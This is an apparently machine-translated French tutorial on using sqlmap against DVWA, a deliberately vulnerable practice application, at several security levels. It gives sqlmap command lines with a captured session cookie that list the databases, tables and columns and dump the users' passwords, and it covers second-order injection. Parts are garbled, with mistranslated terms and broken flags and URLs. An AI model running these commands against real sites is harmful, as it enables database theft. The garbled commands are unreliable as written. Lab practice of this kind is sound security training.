Maison > Article > Opération et maintenance > Exemple d'analyse de l'injection automatisée SQLmap
Utilisez sqlmap pour automatiser l'injection dans dvwa
Réglez le niveau dvwa sur bas
Ouvrez l'injection SQL de dvwa (Injection SQL (aveugle)), ouvrez le débogage du navigateur, entrez l'identifiant utilisateur et soumettez, affichez les requêtes interceptées.
Vous pouvez voir qu'il s'agit d'une requête GET, l'url "http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
Nous l'avons mis directement dans le test salmap. Pendant un instant, utilisez la commande -u -u "http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#"
Vous pouvez voir que vous avez besoin pour vous connecter ici, sinon vous ne pouvez pas en manquer. Nous devons donc ajouter un cookie pour maintenir la connexion
6. Utilisez le proxy de la suite burp pour capturer les paquets, obtenez les cookies de connexion, ajoutez --dbs burst data -u "http://192.168.1.222:8089/vulnerabilities/ sqli/ ?id=1&Submit=Submit#" -- cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" --dbs
Vous pouvez voir que la base de données qui a explosé est mysql
7. Nous utilisons -D xxx pour spécifier le base de données à afficher, utilisez --tables Afficher toutes les tables de cette base de données : -u "http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security =low" -D dvwa --tables
Affichez les résultats en cours :
8. Nous utilisons -D xxx -T ttt pour spécifier la table à afficher, et utilisons --columns pour afficher les colonnes de la table
- u "http://192.168.1.222 : 8089/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" -D dvwa -T utilisateurs --columns
9. Nous utilisons -D xxx pour afficher la base de données, -T xxx spécifie la table à afficher, utilisons -C xxx pour afficher les colonnes de la table et utilisons -dump pour afficher les données de la colonne
-u "http://192.168 .1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#" - -cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" -D dvwa -T utilisateurs -C mot de passe, utilisateur --dump
Ajuster le niveau de sécurité dvwa sur moyen et enregistrez les paquets de données capturés sous forme de fichier .txt. Placez-le dans le répertoire de sqlmap, directement -r file name --dbs (vous pouvez ajouter vous-même les paramètres suivants)
et réglez le niveau de sécurité dvwa sur élevé. Puisque la page de soumission n’est cette fois pas la même page que la page qui renvoie les résultats, la méthode précédente ne peut pas être utilisée ici. Pour utiliser la méthode d'injection de second ordre, 交 L'URL a soumis les données
L'URL renvoyée
Enregistrez le paquet de données récupéré dans le fichier .txt, placez-le Allez dans le répertoire sqlmap et faites exploser la base de données, commande :
-r 1.txt --second-url
--dbs
/vulnérabilités/sqli /" -- batch --level 2 -D dvwa -T utilisateur --columns
Données de champ éclatées
-r 1.tx t --second-url " http://192.168.1.222:8089/vulnerabilities/sqli/" -- batch --level 2 -D dvwa -T utilisateurs -C utilisateur, mot de passe --dump
Quelques questions conceptuelles :
Injection de deuxième ordre : deuxième ordre
injection SQL --seconde -ordre. Parfois, lorsque les données saisies au point d'injection sont renvoyées, le résultat n'est pas la page actuelle, mais une autre page. À ce moment, vous devez spécifier quelle page obtenir la réponse pour déterminer si elle est vraie ou fausse. –second-url suivi de l'adresse URL de la page renvoyée
--batch : configuration automatique par défaut, pas besoin d'appuyer manuellement sur oui ou non
niveau :Sqlmap a un total de 5 niveaux de détection, la valeur par défaut est 1. Plus le niveau est élevé, plus de charges utiles sont utilisées lors de la détection. Parmi eux, le niveau 5 a le plus de charges utiles et craquera et injectera automatiquement des en-têtes tels que les cookies et XFF. Bien entendu, plus le niveau est élevé, plus le temps de détection est lent. Ce paramètre affectera le point d'injection du test. Les données GET et POST seront testées lorsque le niveau est 2. L'en-tête HTTP User-Agent/Referer sera testé lorsque le niveau est 3. Lorsque vous ne savez pas quel paramètre est le point d'injection, afin de garantir la précision, il est recommandé de régler le niveau sur 5 (la vitesse deviendra également plus lente)
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!